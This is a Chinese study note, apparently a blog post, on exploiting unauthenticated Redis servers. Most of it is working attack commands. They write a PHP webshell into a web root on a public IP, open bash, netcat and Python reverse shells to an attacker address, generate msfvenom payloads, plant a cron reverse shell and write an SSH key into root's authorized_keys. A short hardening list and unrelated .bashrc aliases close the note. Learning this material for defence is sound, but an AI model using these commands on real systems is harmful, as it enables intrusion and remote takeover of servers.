Redis未授权访问漏洞的利用

Redis未授权访问漏洞的利用

内容为学习笔记,如有侵权,联系删除

Redis常见数据类型

Redis常见用途:做网站缓存,初期用来统计网站访问记录;以key键值和value存储

  • String:字符和整型:缓存、分布式、session分布式、全局、ID计数器、限流
  • Hash:哈希表:存储一个对象、存储一张表的数据、购物车
  • List:有序数组:消息列表、文章列表、评论列表、公告列表、活动列表
  • Set:无序集合:抽奖、点赞、签到打卡、商品标签
  • ZSet:有序集合:排行榜

Redis优点

  • 数据类型丰富,应用场景广泛
  • 纯内存的数据结构,速度快
  • 功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

Redis漏洞利用

漏洞成因

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

环境准备

官方没有把这个当作一个漏洞,而是作为一个配置不当处理

服务端设置:

  • 注释bind,只能在本机访问:# bind 127.0.0.1
  • 关闭保护模式,不然没有办法远程连接 :protected-mode no
  • 默认不需要密码连接 :#requirepass
  • root用户安装
  • 端口6379

Redis持久化机制

主要是RDB机制(默认)

配置文件:redis.conf

save 3600 1 #自动触发规则配置

dbfilename dump.rdb #保存文件名配置

dir ./ #存储路径配置

另有AOF机制

动态修改配置

config set:动态修改配置,重启以后失效

  • 修改保存路径:config set dir /www/admin/localhost_80/wwwroot
  • 修改保存的文件名:config set dbfilename redis.php

写入shell

redis-cli -h 139.9.139.235 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "$_POST[1]); ?>"
save

反弹连接

出现以下情况时使用反弹连接方法

1、内网,私有IP

2、IP动态变化

3、6379端口不允许入方向

4、一句话木马被杀软删除

常见的端口监听方式
  • netcat:nc-lvp 7777(监听7777端口并给出详细的输出)

  • msf:msfconsole(启动交互界面)

    ​ use exploit/multi/handler(使用监听模块)

    ​ set payload php/meterpreter/reverse_tcp(使用php的反弹连接)

    ​ set lhost 192.168.142.141(本机ip)

    ​ set lport 7777(监听7777端口)

    ​ run(运行)

  • socat(kali可用):socat TCP-LISTEN:7777 -

建立反弹链接
类型 命令
Linux bash bash -i >& /dev/tcp/192.168.25.131/7777 0>&1
netcat nc -e /bin/bash 192.168.142.44 7777
Python python -c “importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.142.44’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’ , ‘-i’]);”

标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

例:

netstat -an|grep 3306 >out.txt // 输出到文件

find / -name “test.py” 2>/dev/null // 过滤报错

命令释义:

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1:打开一个交互式的bash终端,与远程机器建立一个socket连接将标准错误输出合并到标准输出中,将标准输入重定向到标准输出中

msf

配合msf模块使用

类型 命令
msf-PHP msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -o shell.php
msf-Java msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f war -o shell.war
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f jar -o shell.jar
msf-exe msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -i 5 -f exe -o test.exe

定时任务

用途

执行周期性固定时刻的任务

cron表达式

时间表达式,有在线网站生成

命令 操作
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

文件存储路径:

路径 内容
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
redis使用定时任务建立反弹连接
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

ssh免密登录

1、客户端生成密钥对(公钥、私钥)

2、客户端把公钥发给服务端保存(正常情况需要密码)

3、客户端用私钥加密消息,发给服务端

4、服务端用公钥解密,解密成功,说明密钥匹配

5、客户端免密登录成功

“你之前保存了我的公钥,所以可以解密我的消息,所以认得我”

在攻击机:

ssh-keygen      //生成密钥对,直接回车密码不需要
//会在根目录生成.ssh文件,里面有ia_rsa和id_rsa.pub两个文件,前者是私钥,需要自己保存,公钥交给靶机
ssh-copy-id root@192.168.25.132    //以root用户登录并将公钥发给靶机
//需要输入root密码
ssh -i ./id_rsa root@192.168.25.132    //ssh免密登录

使用redis,连接目标redis后:

flushall         //清空数据
config set dir /root/.ssh         //修改文件存储路径
config set dbfilename authorized_keys    //修改存储的文件名
set xxx "\n\n\n公钥字符串\n\n\n"   //写入公钥字符
save         //保存

Redis等保安全加固

  1. 限制访问IP
  2. 修改默认端口
  3. 密码访问
  4. 低权限运行

一些命令

redis:

  • 数据清空:flushall

  • 保存数据:save

  • 写入:set webshell “

linux:

  • 查看防火墙状态:systemctl status firewalld

  • 关闭防火墙:systemctl stop firewalld

    systemctl disable firewalld.service

  • 启动Redis服务:/usr/local/soft/redis-6.0.9/src/redis-server /usr/local/soft/redis-6.0.9/redis.conf

  • 关闭服务:redis-cli shutdown

  • 攻击机连接:redis-cli -h 192.168.129.44 -p 6379

  • 查看端口是否启动成功:netstat -an|grep 6379

  • 进入客户端:/usr/local/soft/redis-6.0.9/src/redis-cli

类似的

  • MongoDB未授权访问漏洞
  • Jenkins未授权访问漏洞
  • Memcached未授权访问漏洞
  • JBOSS未授权访问漏洞
  • VNC未授权访问漏洞
  • Docker未授权访问漏洞
  • ZooKeeper未授权访问漏洞
  • Rsync未授权访问漏洞
  • Atlassian Crowd未授权访问漏洞
  • CouchDB未授权访问漏洞
  • Elasticsearch未授权访问漏洞
  • Hadoop未授权访问漏洞
  • Jupyter Notebook未授权访问漏洞

配置别名

直接vim ~/.bashrc,然后在里面就可以配置别名等信息

配置完成后source ~/.bashrc编译让其生效,然后重启才能生效

# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias rcli='/usr/local/soft/redis-6.2.9/src/redis-cli'
alias sedis='/usr/local/soft/redis-6.2.9/src/redis-server /usr/local/soft/redis-6.2.9/redis.conf'

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi
~            

你可能感兴趣的:(redis,web安全,网络安全)